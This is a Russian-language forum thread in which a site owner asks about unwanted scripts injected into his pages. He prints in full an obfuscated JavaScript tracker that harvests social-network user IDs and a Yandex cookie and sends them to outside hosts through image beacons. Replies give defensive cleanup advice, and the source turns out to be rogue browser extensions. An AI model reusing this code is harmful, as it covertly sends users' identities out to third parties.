Доброго времени суток дорогие форумчане. Недавно заметил на сайте "левые" запросы. Стал смотреть, что да как. Оказалось, что откуда то берутся странные скрипты Второй из них такого содержания: Код (Text): var script = document.createElement('script'); script.src = '//front.facetz.net/collect.js'; document.getElementsByTagName('body')[0].appendChild(script); function Datacentric() { this.idInterval = 0; this.load = function () { if (typeof window.loadFacetzCollector == 'function') { window.loadFacetzCollector('hamstersoft','');console.log('load facetz'); if (this.idInterval > 0) { clearInterval(this.idInterval); } } }; } var datacentric_ = new Datacentric(); datacentric_.idInterval = setInterval(function() {datacentric_.load();}, 1000); А первый такого: Код (Text): !function(t){"use strict";function e(){var t=0,e=["\x2f\x2f\x66\x72\x6f\x6e\x74\x2e\x65\x78\x65\x62\x69\x64\x2e\x72\x75\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x3f\x73\x79\x6e\x63\x5f\x72\x65\x64\x69\x72\x65\x63\x74\x3d\x65\x78\x65\x62\x69\x64\x5f\x66\x61\x63\x65\x74\x7a","\x2f\x2f\x66\x72\x6f\x6e\x74\x2e\x65\x78\x65\x62\x69\x64\x2e\x72\x75\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x3f\x73\x79\x6e\x63\x5f\x72\x65\x64\x69\x72\x65\x63\x74\x3d\x67\x6f\x6f\x67\x6c\x65"],o=function(r){var n=new Image,c=setTimeout(function(){n.src=""},2e3);t++,e[t]&&(n.onload=function(){c=null,o(e[t])}),n.src=r};e[t]&&o(e[t])}function o(){if("\x76\x6b\x2e\x63\x6f\x6d"===location.host&&t.vk&&t.vk.id)return"\x26\x76\x6b\x69\x64\x3d"+t.vk.id;if(("\x66\x6c\x69\x72\x63\x68\x69\x2e\x72\x75"===location.host||"\x70\x6c\x69\x72\x74\x2e\x72\x75"===location.host)&&t.App&&t.App.context&&t.App.context.userId)return"\x26\x66\x6c\x69\x72\x63\x68\x69\x69\x64\x3d"+t.App.context.userId;if("\x77\x77\x77\x2e\x6c\x69\x6e\x6b\x65\x64\x69\x6e\x2e\x63\x6f\x6d"===location.host){var e,o=document.querySelector("\x5b\x68\x72\x65\x66\x2a\x3d\x6e\x61\x76\x5f\x72\x65\x73\x70\x6f\x6e\x73\x69\x76\x65\x5f\x74\x61\x62\x5f\x70\x72\x6f\x66\x69\x6c\x65\x5d");if(o&&o.getAttribute("href")&&(e=o.getAttribute("href").match(/\d+/)))return"\x26\x6c\x69\x6e\x6b\x65\x64\x69\x6e\x69\x64\x3d"+e[0]}if(location.host.indexOf("\x6d\x6f\x69\x6b\x72\x75\x67\x2e\x72\x75")>0){var r=document.cookie.match(/yandexuid=(\d+)/);if(r&&r[1])return"\x26\x6d\x6f\x69\x6b\x72\x75\x67\x69\x64\x3d"+r[1]}if("\x77\x77\x77\x2e\x6f\x64\x6e\x6f\x6b\x6c\x61\x73\x73\x6e\x69\x6b\x69\x2e\x72\x75"===location.host){var n,c=document.getElementsByClassName("\x6d\x63\x74\x63\x5f\x6e\x61\x76\x4d\x65\x6e\x75\x53\x65\x63");if(c.length>1&&c[1].getAttribute("href")&&(n=c[1].getAttribute("href").match(/\d+/)))return"\x26\x6f\x64\x6e\x6f\x6b\x6c\x61\x73\x73\x6e\x69\x6b\x69\x69\x64\x3d"+n[0]}if("\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d"===location.host){var i,a=document.querySelector("\x5b\x69\x64\x5e\x3d\x70\x72\x6f\x66\x69\x6c\x65\x5f\x70\x69\x63\x5f\x68\x65\x61\x64\x65\x72\x5f\x5d");if(a&&a.id&&(i=a.id.match(/\d+/)))return"\x26\x66\x61\x63\x65\x62\x6f\x6f\x6b\x69\x64\x3d"+i[0]}return""}var r="\x2f\x2f\x66\x72\x6f\x6e\x74\x2e\x66\x61\x63\x65\x74\x7a\x2e\x6e\x65\x74",n=encodeURIComponent,c={"aGFtc3RlcnNvZnQ=":{host:"\x2f\x2f\x66\x72\x6f\x6e\x74\x2d\x74\x73\x74\x2e\x66\x61\x63\x65\x74\x7a\x2e\x6e\x65\x74",prob:.25}},i=function(){return{base64Encode:function(t){var e,o,r,n,c,i,a,d,u="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",f=0,l="";do e=t.charCodeAt(f++),o=t.charCodeAt(f++),r=t.charCodeAt(f++),d=e<<16|o<<8|r,n=d>>18&63,c=d>>12&63,i=d>>6&63,a=63&d,l+=u.charAt(n)+u.charAt(c)+u.charAt(i)+u.charAt(a);while(f<t.length);switch(t.length%3){case 1:l=l.slice(0,-2)+"==";break;case 2:l=l.slice(0,-1)+"="}return l}}}(),a=function(t,a,d,u,f){var l=new Image,s=i.base64Encode(a),h=1,m=r,p="",v="";if(c.hasOwnProperty(s)&&(c[s].host&&(m=c[s].host),c[s].prob&&(h=c[s].prob)),!(Math.random()>h)){if(u&&"object"==typeof u)for(var b in u)v+="&"+n(b)+"="+n(u[b]);p=m+"/"+t+"\x3f\x73\x6f\x75\x72\x63\x65\x3d"+n(a)+"&id="+n(d)+"\x26\x70\x72\x65\x76\x69\x6f\x75\x73\x5f\x75\x72\x6c\x3d"+n(document.referrer)+"&rn="+Math.random()+v+o(),1>h&&(p+="\x26\x70\x72\x6f\x62\x3d\x31"),f&&(l.onload=e),l.src=p}};t.loadFacetzRetargeting=function(t,e,o){a("\x72\x65\x74\x61\x72\x67\x65\x74",t,e,o,!0)},t.loadFacetzCollector=function(t,e,o){a("\x63\x6f\x6c\x6c\x65\x63\x74",t,e,o,!1)}}(window); немного магии и получилось так: Код (Text): ! function (t) { "use strict"; function e() { var t = 0, e = ["\x2f\x2f\x66\x72\x6f\x6e\x74\x2e\x65\x78\x65\x62\x69\x64\x2e\x72\x75\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x3f\x73\x79\x6e\x63\x5f\x72\x65\x64\x69\x72\x65\x63\x74\x3d\x65\x78\x65\x62\x69\x64\x5f\x66\x61\x63\x65\x74\x7a", "\x2f\x2f\x66\x72\x6f\x6e\x74\x2e\x65\x78\x65\x62\x69\x64\x2e\x72\x75\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x3f\x73\x79\x6e\x63\x5f\x72\x65\x64\x69\x72\x65\x63\x74\x3d\x67\x6f\x6f\x67\x6c\x65"], o = function (r) { var n = new Image, c = setTimeout(function () { n.src = "" }, 2e3); t++, e[t] && (n.onload = function () { c = null, o(e[t]) }), n.src = r }; e[t] && o(e[t]) } function o() { if ("\x76\x6b\x2e\x63\x6f\x6d" === location.host && t.vk && t.vk.id) return "\x26\x76\x6b\x69\x64\x3d" + t.vk.id; if (("\x66\x6c\x69\x72\x63\x68\x69\x2e\x72\x75" === location.host || "\x70\x6c\x69\x72\x74\x2e\x72\x75" === location.host) && t.App && t.App.context && t.App.context.userId) return "\x26\x66\x6c\x69\x72\x63\x68\x69\x69\x64\x3d" + t.App.context.userId; if ("\x77\x77\x77\x2e\x6c\x69\x6e\x6b\x65\x64\x69\x6e\x2e\x63\x6f\x6d" === location.host) { var e, o = document.querySelector("\x5b\x68\x72\x65\x66\x2a\x3d\x6e\x61\x76\x5f\x72\x65\x73\x70\x6f\x6e\x73\x69\x76\x65\x5f\x74\x61\x62\x5f\x70\x72\x6f\x66\x69\x6c\x65\x5d"); if (o && o.getAttribute("href") && (e = o.getAttribute("href").match(/\d+/))) return "\x26\x6c\x69\x6e\x6b\x65\x64\x69\x6e\x69\x64\x3d" + e[0] } if (location.host.indexOf("\x6d\x6f\x69\x6b\x72\x75\x67\x2e\x72\x75") > 0) { var r = document.cookie.match(/yandexuid=(\d+)/); if (r && r[1]) return "\x26\x6d\x6f\x69\x6b\x72\x75\x67\x69\x64\x3d" + r[1] } if ("\x77\x77\x77\x2e\x6f\x64\x6e\x6f\x6b\x6c\x61\x73\x73\x6e\x69\x6b\x69\x2e\x72\x75" === location.host) { var n, c = document.getElementsByClassName("\x6d\x63\x74\x63\x5f\x6e\x61\x76\x4d\x65\x6e\x75\x53\x65\x63"); if (c.length > 1 && c[1].getAttribute("href") && (n = c[1].getAttribute("href").match(/\d+/))) return "\x26\x6f\x64\x6e\x6f\x6b\x6c\x61\x73\x73\x6e\x69\x6b\x69\x69\x64\x3d" + n[0] } if ("\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d" === location.host) { var i, a = document.querySelector("\x5b\x69\x64\x5e\x3d\x70\x72\x6f\x66\x69\x6c\x65\x5f\x70\x69\x63\x5f\x68\x65\x61\x64\x65\x72\x5f\x5d"); if (a && a.id && (i = a.id.match(/\d+/))) return "\x26\x66\x61\x63\x65\x62\x6f\x6f\x6b\x69\x64\x3d" + i[0] } return "" } var r = "\x2f\x2f\x66\x72\x6f\x6e\x74\x2e\x66\x61\x63\x65\x74\x7a\x2e\x6e\x65\x74", n = encodeURIComponent, c = { "aGFtc3RlcnNvZnQ=": { host: "\x2f\x2f\x66\x72\x6f\x6e\x74\x2d\x74\x73\x74\x2e\x66\x61\x63\x65\x74\x7a\x2e\x6e\x65\x74", prob: .25 } }, i = function () { return { base64Encode: function (t) { var e, o, r, n, c, i, a, d, u = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", f = 0, l = ""; do e = t.charCodeAt(f++), o = t.charCodeAt(f++), r = t.charCodeAt(f++), d = e << 16 | o << 8 | r, n = d >> 18 & 63, c = d >> 12 & 63, i = d >> 6 & 63, a = 63 & d, l += u.charAt(n) + u.charAt(c) + u.charAt(i) + u.charAt(a); while (f < t.length); switch (t.length % 3) { case 1: l = l.slice(0, -2) + "=="; break; case 2: l = l.slice(0, -1) + "=" } return l } } }(), a = function (t, a, d, u, f) { var l = new Image, s = i.base64Encode(a), h = 1, m = r, p = "", v = ""; if (c.hasOwnProperty(s) && (c[s].host && (m = c[s].host), c[s].prob && (h = c[s].prob)), !(Math.random() > h)) { if (u && "object" == typeof u) for (var b in u) v += "&" + n(b) + "=" + n(u[b]); p = m + "/" + t + "\x3f\x73\x6f\x75\x72\x63\x65\x3d" + n(a) + "&id=" + n(d) + "\x26\x70\x72\x65\x76\x69\x6f\x75\x73\x5f\x75\x72\x6c\x3d" + n(document.referrer) + "&rn=" + Math.random() + v + o(), 1 > h && (p += "\x26\x70\x72\x6f\x62\x3d\x31"), f && (l.onload = e), l.src = p } }; t.loadFacetzRetargeting = function (t, e, o) { a("\x72\x65\x74\x61\x72\x67\x65\x74", t, e, o, !0) }, t.loadFacetzCollector = function (t, e, o) { a("\x63\x6f\x6c\x6c\x65\x63\x74", t, e, o, !1) } }(window); Мягко говоря, меня напрягают эти скрипты и постоянные запросы на левые сайты Код (Text): front-tst.facetz.net sync.audtd.com Кто может знает, откуда они берутся и как от них избавиться? С уважением Евгений.
Кто вам сказал что "через ftp". Анализируйте логи, ищите шелл и точку входа. Удаление ничего не даст, через время снова появятся. Закройте для записи все каталоги которые не предназначены для записи.
Сделайте рекурсивное сравнение каталогов незараженного проекта на своей машине и боевого. Так найдете шелл и вредоносный js-код. Посмотрите даты изменения зараженных файлов. Если они не подчищены, то смотрите логи за эту дату. ищите точку входа и загрузку шела. Далее по ситуации. Если выявлена загрузка по ftp по завершении лечения смените пароли. По завершении лечения не забудьте закрыть на запись те каталоги в которые писать не нужно. Каталог с клиентскими скриптами в частности. Удалять шелл и сам js-код пока не поймете как он вам был залит не рекомендую.
Вредоносный JS встраивался в страницы с помощью расширения для хрома и яндекса. Установились эти штуки (их было две) фиг знает как. Антивирусом нашел их и отправил на переплавку. Спасибо, кто хотел помочь
Во, только хотел сказать про расширения, а ты сам догадался к концу страницы А с чего ты таки взял, что они вредоносные? Открою тайну - все расширения, связанные с обработкой страниц, догружают в нее свой JS. Это нормально. Или ты их сам не ставил, а они появились?
Не ставил, сами. Обошли антивирус и поставились. При сканировании аваст показал, что бяка сидит. JS это нормально. Не нормально когда он отправляет непонятные данные на левый урл раз 10 за секунду. Ну и лаги соответственно на странице начинаются
Ну..начинаются они только у тебя. В твоем же браузере расширения стоят. Сайту оно никак не вредит. Так что я бы на твоем месте не о сайте беспокоился, а о том, чтобы поменять пароли на почтах, социалочках, форумах, биллингах и хостингах. Ну ты понимаешь, о чем я.